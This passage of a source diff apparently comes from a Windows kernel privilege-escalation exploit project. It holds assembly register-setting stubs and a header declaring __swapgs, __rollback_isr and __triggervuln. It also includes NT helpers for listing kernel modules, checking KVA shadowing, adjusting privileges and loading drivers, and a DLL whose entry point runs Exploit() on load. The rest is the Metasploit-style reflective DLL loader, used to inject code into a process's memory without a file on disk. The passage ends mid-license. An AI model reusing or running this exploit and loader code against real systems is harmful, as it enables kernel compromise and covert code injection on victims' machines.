movups xmm2, [rcx]
ret
__setxmm2 ENDP
__setxmm3 PROC
movups xmm3, [rcx]
ret
__setxmm3 ENDP
__setxmm4 PROC
movups xmm4, [rcx]
ret
__setxmm4 ENDP
__setxmm5 PROC
movups xmm5, [rcx]
ret
__setxmm5 ENDP
__setxmm6 PROC
movups xmm6, [rcx]
ret
__setxmm6 ENDP
__setxmm7 PROC
movups xmm7, [rcx]
ret
__setxmm7 ENDP
__setxmm8 PROC
movups xmm8, [rcx]
ret
__setxmm8 ENDP
__setxmm9 PROC
movups xmm9, [rcx]
ret
__setxmm9 ENDP
__setxmm10 PROC
movups xmm10, [rcx]
ret
__setxmm10 ENDP
__setxmm11 PROC
movups xmm11, [rcx]
ret
__setxmm11 ENDP
__setxmm12 PROC
movups xmm12, [rcx]
ret
__setxmm12 ENDP
__setxmm13 PROC
movups xmm13, [rcx]
ret
__setxmm13 ENDP
__setxmm14 PROC
movups xmm14, [rcx]
ret
__setxmm14 ENDP
__setxmm15 PROC
movups xmm15, [rcx]
ret
__setxmm15 ENDP
end

View File

@ -0,0 +1,30 @@
#pragma once
#include <Windows.h>
#include <inttypes.h>
extern "C"
{
void __setxmm0( BYTE* );
void __setxmm1( BYTE* );
void __setxmm2( BYTE* );
void __setxmm3( BYTE* );
void __setxmm4( BYTE* );
void __setxmm5( BYTE* );
void __setxmm6( BYTE* );
void __setxmm7( BYTE* );
void __setxmm8( BYTE* );
void __setxmm9( BYTE* );
void __setxmm10( BYTE* );
void __setxmm11( BYTE* );
void __setxmm12( BYTE* );
void __setxmm13( BYTE* );
void __setxmm14( BYTE* );
void __setxmm15( BYTE* );
void __swapgs();
uint16_t __readss();
PVOID __read_gs_base();
void __set_gs_base( PVOID GsBase );
void __rollback_isr( uint64_t IsrStack );
void __triggervuln( PVOID RegSave, PVOID Abc );
};

View File

@ -0,0 +1,72 @@
#pragma once
#include <Windows.h>
#pragma pack(push, 8)
typedef struct _SYSTEM_MODULE_ENTRY
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[ 256 ];
} SYSTEM_MODULE_ENTRY, *PSYSTEM_MODULE_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG Count;
SYSTEM_MODULE_ENTRY Module[ 0 ];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION
{
struct
{
ULONG KvaShadowEnabled : 1;
ULONG KvaShadowUserGlobal : 1;
ULONG KvaShadowPcid : 1;
ULONG KvaShadowInvpcid : 1;
ULONG Reserved : 28;
} KvaShadowFlags;
} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, *PSYSTEM_KERNEL_VA_SHADOW_INFORMATION;
typedef UNICODE_STRING *PUNICODE_STRING;
#pragma pack(pop)
#define NtCurrentProcess() ( HANDLE(-1) )
#define SeLoadDriverPrivilege 10ull
#define SystemModuleInformation 0xBull
#define SystemKernelVaShadowInformation 196ull
#define AdjustCurrentProcess 0ull
#define STATUS_SUCCESS 0
using fnFreeCall = uint64_t( __fastcall* )( ... );
template<typename ...Params>
static NTSTATUS __NtRoutine( const char* Name, Params &&... params )
{
auto fn = ( fnFreeCall ) GetProcAddress( GetModuleHandleA( "ntdll.dll" ), Name );
return fn( std::forward<Params>( params ) ... );
}
#define NtQuerySystemInformation(...) __NtRoutine("NtQuerySystemInformation", __VA_ARGS__)
#define RtlAdjustPrivilege(...) __NtRoutine("RtlAdjustPrivilege", __VA_ARGS__)
#define NtUnloadDriver(...) __NtRoutine("NtUnloadDriver", __VA_ARGS__)
#define NtLoadDriver(...) __NtRoutine("NtLoadDriver", __VA_ARGS__)
static BOOL AcquirePrivilege( DWORD Privilage, DWORD Proc )
{
BOOLEAN Enabled = 0;
return !RtlAdjustPrivilege( Privilage, 1ull, Proc, &Enabled ) || Enabled;
}

View File

@ -0,0 +1,35 @@
//===============================================================================================//
// This is a stub for the actuall functionality of the DLL.
//===============================================================================================//
#include "ReflectiveLoader.h"
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
extern HINSTANCE hAppInstance;
//===============================================================================================//
#include "Exploit.h"
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
//MessageBox(0, "In DLLMain", "Status", MB_OK);
Exploit(lpReserved);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}

View File

@ -0,0 +1,599 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
//===============================================================================================//
#pragma intrinsic( _ReturnAddress )
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
// available (and no inline asm available under x64).
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
//===============================================================================================//
#ifdef ENABLE_OUTPUTDEBUGSTRING
#define OUTPUTDBG(str) pOutputDebug((LPCSTR)str)
#else /* ENABLE_OUTPUTDEBUGSTRING */
#define OUTPUTDBG(str) do{}while(0)
#endif
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
// otherwise the DllMain at the end of this file will be used.
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
#else
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
#endif
{
// the functions we need
LOADLIBRARYA pLoadLibraryA = NULL;
GETPROCADDRESS pGetProcAddress = NULL;
VIRTUALALLOC pVirtualAlloc = NULL;
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
#ifdef ENABLE_STOPPAGING
VIRTUALLOCK pVirtualLock = NULL;
#endif
#ifdef ENABLE_OUTPUTDEBUGSTRING
OUTPUTDEBUG pOutputDebug = NULL;
#endif
USHORT usCounter;
// the initial location of this image in memory
ULONG_PTR uiLibraryAddress;
// the kernels base address and later this images newly loaded base address
ULONG_PTR uiBaseAddress;
// variables for processing the kernels export table
ULONG_PTR uiAddressArray;
ULONG_PTR uiNameArray;
ULONG_PTR uiExportDir;
ULONG_PTR uiNameOrdinals;
DWORD dwHashValue;
// variables for loading this image
ULONG_PTR uiHeaderValue;
ULONG_PTR uiValueA;
ULONG_PTR uiValueB;
ULONG_PTR uiValueC;
ULONG_PTR uiValueD;
ULONG_PTR uiValueE;
// STEP 0: calculate our images current base address
// we will start searching backwards from our callers return address.
uiLibraryAddress = caller();
// loop through memory backwards searching for our images base address
// we dont need SEH style search as we shouldnt generate any access violations with this
while( TRUE )
{
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue += uiLibraryAddress;
// break if we have found a valid MZ/PE header
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}
// STEP 1: process the kernels exports for the functions our loader needs...
// get the Process Enviroment Block
#ifdef _WIN64
uiBaseAddress = __readgsqword( 0x60 );
#else
#ifdef WIN_ARM
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#else _WIN32
uiBaseAddress = __readfsdword( 0x30 );
#endif
#endif
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
// get the first entry of the InMemoryOrder module list
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
// get pointer to current modules name (unicode string)
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
// set bCounter to the length for the loop
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
// clear uiValueC which will store the hash of the module name
uiValueC = 0;
// compute the hash of the module name...
do
{
uiValueC = ror( (DWORD)uiValueC );
// normalize to uppercase if the module name is in lowercase
if( *((BYTE *)uiValueB) >= 'a' )
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while( --usCounter );
// compare the hash with that of kernel32.dll
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
#ifdef ENABLE_STOPPAGING
usCounter++;
#endif
#ifdef ENABLE_OUTPUTDEBUGSTRING
usCounter++;
#endif
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == LOADLIBRARYA_HASH
|| dwHashValue == GETPROCADDRESS_HASH
|| dwHashValue == VIRTUALALLOC_HASH
#ifdef ENABLE_STOPPAGING
|| dwHashValue == VIRTUALLOCK_HASH
#endif
#ifdef ENABLE_OUTPUTDEBUGSTRING
|| dwHashValue == OUTPUTDEBUG_HASH
#endif
)
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
#ifdef ENABLE_STOPPAGING
else if( dwHashValue == VIRTUALLOCK_HASH )
pVirtualLock = (VIRTUALLOCK)( uiBaseAddress + DEREF_32( uiAddressArray ) );
#endif
#ifdef ENABLE_OUTPUTDEBUGSTRING
else if( dwHashValue == OUTPUTDEBUG_HASH )
pOutputDebug = (OUTPUTDEBUG)( uiBaseAddress + DEREF_32( uiAddressArray ) );
#endif
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 1;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
// we stop searching when we have found everything we need.
if( pLoadLibraryA
&& pGetProcAddress
&& pVirtualAlloc
#ifdef ENABLE_STOPPAGING
&& pVirtualLock
#endif
&& pNtFlushInstructionCache
#ifdef ENABLE_OUTPUTDEBUGSTRING
&& pOutputDebug
#endif
)
break;
// get the next entry
uiValueA = DEREF( uiValueA );
}
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
#ifdef ENABLE_STOPPAGING
// prevent our image from being swapped to the pagefile
pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage);
#endif
// we must now copy over the headers
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
// itterate through all sections, loading them into memory.
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
// uiValueB is the VA for this section
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
// uiValueC if the VA for this sections data
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
// copy the section over
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
// get the VA of the next section
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
// STEP 4: process our images import table...
// uiValueB = the address of the import directory
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
// we assume there is an import table to process
// uiValueC is the first entry in the import table
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// iterate through all imports until a null RVA is found (Characteristics is mis-named)
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
{
OUTPUTDBG("Loading library: ");
OUTPUTDBG((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
OUTPUTDBG("\n");
// use LoadLibraryA to load the imported module into memory
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
if ( !uiLibraryAddress )
{
OUTPUTDBG("Loading library FAILED\n");
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
continue;
}
// uiValueD = VA of the OriginalFirstThunk
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
// itterate through all imported functions, importing by ordinal if no name present
while( DEREF(uiValueA) )
{
// sanity check uiValueD as some compilers only import by FirstThunk
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
// get the VA of the modules NT Header
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of addresses
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
// patch in the address for this imported function
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
// get the VA of this functions import by name struct
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
OUTPUTDBG("Resolving function: ");
OUTPUTDBG(((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
OUTPUTDBG("\n");
// use GetProcAddress and patch in the address for this imported function
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
// get the next imported function
uiValueA += sizeof( ULONG_PTR );
if( uiValueD )
uiValueD += sizeof( ULONG_PTR );
}
// get the next import
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
// STEP 5: process all of our images relocations...
// calculate the base address delta and perform relocations (even if we load at desired image base)
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
// uiValueB = the address of the relocation directory
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
// check if their are any relocations present
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// and we itterate through all entries...
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
// uiValueA = the VA for this relocation block
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
// uiValueB = number of entries in this relocation block
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
// uiValueD is now the first entry in the current relocation block
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block...
while( uiValueB-- )
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we dont use a switch statement to avoid the compiler building a jump table
// which would not be very position independent!
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
{
register DWORD dwInstruction;
register DWORD dwAddress;
register WORD wImm;
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
// flip the words to get the instruction as expected
dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
// sanity chack we are processing a MOV instruction...
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
{
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
wImm = (WORD)( dwInstruction & 0x000000FF);
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
// apply the relocation to the target address
dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
// now create a new instruction with the same opcode and register param.
dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
// patch in the relocated address...
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
// now flip the instructions words and patch back into the code...
*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
}
}
#endif
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
// get the next entry in the current relocation block
uiValueD += sizeof( IMAGE_RELOC );
}
// get the next entry in the relocation directory
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
// STEP 6: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
OUTPUTDBG("Flushing the instruction cache");
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
return uiValueA;
}
//===============================================================================================//
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
// you must implement this function...
extern DWORD DLLEXPORT Init( SOCKET socket );
BOOL MetasploitDllAttach( SOCKET socket )
{
Init( socket );
return TRUE;
}
BOOL MetasploitDllDetach( DWORD dwExitFunc )
{
switch( dwExitFunc )
{
case EXITFUNC_SEH:
SetUnhandledExceptionFilter( NULL );
break;
case EXITFUNC_THREAD:
ExitThread( 0 );
break;
case EXITFUNC_PROCESS:
ExitProcess( 0 );
break;
default:
break;
}
return TRUE;
}
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_METASPLOIT_ATTACH:
bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved );
break;
case DLL_METASPLOIT_DETACH:
bReturnValue = MetasploitDllDetach( (DWORD)lpReserved );
break;
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
#endif
//===============================================================================================//

View File

@ -0,0 +1,223 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
